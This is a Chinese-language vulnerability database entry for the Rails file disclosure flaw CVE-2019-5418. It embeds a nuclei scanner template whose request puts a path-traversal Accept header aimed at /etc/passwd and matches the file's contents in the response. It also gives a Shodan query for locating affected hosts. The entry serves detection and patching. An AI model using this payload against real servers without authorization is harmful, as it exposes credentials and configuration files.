Rails File Content Disclosure

漏洞信息

漏洞名称: Rails File Content Disclosure

漏洞编号:

  • CVE: CVE-2019-5418

漏洞类型: 文件读取

漏洞等级: 高危

漏洞描述: Rails是一个广泛使用的Ruby编程语言的Web应用框架,用于快速开发高质量的Web应用程序。它被许多企业和开发者采用,因其高效和易用性而受到欢迎。该框架的多个版本存在文件内容泄露漏洞,影响范围包括Rails 5.2.2.1之前、5.1.6.2之前、5.0.7.2之前、4.2.11.1之前以及v3版本。漏洞的技术根源在于框架对Accept头部的不当处理,攻击者可以通过构造特殊的Accept头部,诱使服务器返回任意文件的内容,如/etc/passwd等敏感文件。这种漏洞可能导致服务器上的敏感信息被未授权访问,包括但不限于用户凭证、配置文件和源代码等。由于攻击者无需认证即可利用此漏洞,且可以自动化执行,因此对受影响系统的安全构成了严重威胁。建议用户立即升级到修复版本或应用官方提供的补丁。

产品厂商: rubyonrails

产品名称: rails

影响版本: <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3

搜索语法: cpe:”cpe:2.3:a:rubyonrails:rails”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/01a59299771e9178d0aadf2065d772c10e58fac8/http%2Fcves%2F2019%2FCVE-2019-5418.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

id: CVE-2019-5418

info:
name: Rails File Content Disclosure
author: omarkurt
severity: high
description: Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed.
impact: |
This vulnerability can lead to unauthorized access to sensitive information stored on the server.
remediation: |
Apply the patch provided by the Rails team or upgrade to a version that includes the fix.
reference:
- https://github.com/omarkurt/CVE-2019-5418
- https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/
- https://nvd.nist.gov/vuln/detail/CVE-2019-5418
- https://www.exploit-db.com/exploits/46585/
- http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00011.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-5418
cwe-id: CWE-22,NVD-CWE-noinfo
epss-score: 0.94218
epss-percentile: 0.99917
cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: rubyonrails
product: rails
shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails"
tags: cve,cve2019,rails,lfi,disclosure,edb,rubyonrails,kev

http:
- method: GET
path:
- "{{BaseURL}}"

headers:
Accept: ../../../../../../../../etc/passwd{{

matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"

- type: status
status:
- 200
- 500
# digest: 490a0046304402203a78614f55baf300f85c2a85206c528ae1e2c08ffb8ab5763a77c70b7fc346300220550f4efec3c5160032fc3c730ec0f161113c5c06bcb14835ef9803dca1c6eb3c:922c64590222798bb761d5b6d8e72950